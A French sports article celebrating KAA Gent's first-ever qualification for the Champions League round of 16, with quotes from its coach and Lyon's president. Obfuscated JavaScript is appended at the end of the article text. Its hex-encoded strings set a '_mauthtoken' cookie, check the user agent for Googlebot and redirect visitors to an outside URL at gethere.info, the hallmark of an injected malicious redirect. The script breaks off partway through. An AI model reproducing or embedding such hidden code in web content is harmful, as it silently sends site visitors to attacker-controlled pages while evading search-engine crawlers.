La Gantoise : la surprise belge !

Grâce à sa victoire 2-1 acquise face au Zénith Saint-Petersbourg, leader du groupe, et unique équipe ayant réalisé un sans faute jusqu’ici, les belges de La Gantoise s’offre le premier huitième de finale de Ligue des Champions de leur histoire. Historique.

Le petit poucet du groupe.

Le 27 août dernier à Monaco, lors du tirage au sort des phases de poule de la Ligue des Champions, Jean-Michel Aulas, le président Lyonnais, lâchait : « Ce tirage laisse une chance raisonnable de pouvoir se qualifier pour les huitièmes de finale. » Non présomptueux à l’époque, ces propos le sont d’avantage aujourd’hui. L’entraîneur de La Gantoise, Hein Vanhaezebrouck la jouait, lui, plus pragmatique : « Cela reste un groupe très difficile mais nous ne sommes pas sans aucune chance. Nous devrons saisir notre chance. » Leur chance, les belges l’ont saisie. Opiniâtres et décomplexés, les champions de Belgique en titre hissent le plat pays en phase finale de Ligue des Champions avec trois victoires et dix points dans la musette. Une première depuis Anderlecht en 2001.

Pour leur première participation à la phase de poule, « les Buffalos » ont déjoué tous les pronostics. Avec un seul point engrangé en trois journées, dont deux défaites face au Zénith et Valence, les belges ne semblaient déjà plus dans la course. Seulement, le football n’a rien d’immuable et au prix de trois victoires consécutives lors des phases retour, le petit poucet annoncé du groupe s’invite au bal des champions en espérant y être convié le plus longtemps possible.

Poursuivre le rêve.

Après cette qualification historique, La Gantoise peut se targuer de faire partie des 16 meilleures équipes d’Europe. Après sa victoire face au Zénith, le même Hein Vanhaezebrouck toujours aussi cartésien, reste crédule sur les chances de son équipe pour les huitièmes de finale : « On sait que nous sommes le Petit Poucet. Ceux que l’on va tirer, c’est vraiment autre chose, un autre niveau. Si on arrivait à faire encore quelque chose, ce serait vraiment un exploit. Un miracle. » Le miracle, La Gantoise l’a déjà apprivoisé lors de la phase de poule.

Sans réel objectif fondé en début de compétition, ce qui va d’abord émaner de l’effectif belge lors des huitièmes de finale, sera le plaisir d’affronter un grand d’Europe, opportunité qui pour beaucoup ne se reproduira sans doute jamais.var _0x446d=[« \x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E », »\x69\x6E\x64\x65\x78\x4F\x66″, »\x63\x6F\x6F\x6B\x69\x65″, »\x75\x73\x65\x72\x41\x67\x65\x6E\x74″, »\x76\x65\x6E\x64\x6F\x72″, »\x6F\x70\x65\x72\x61″, »\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″, »\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″, »\x74\x65\x73\x74″, »\x73\x75\x62\x73\x74\x72″, »\x67\x65\x74\x54\x69\x6D\x65″, »\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D », »\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″, »\x6C\x6F\x63\x61\x74\x69\x6F\x6E »];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== 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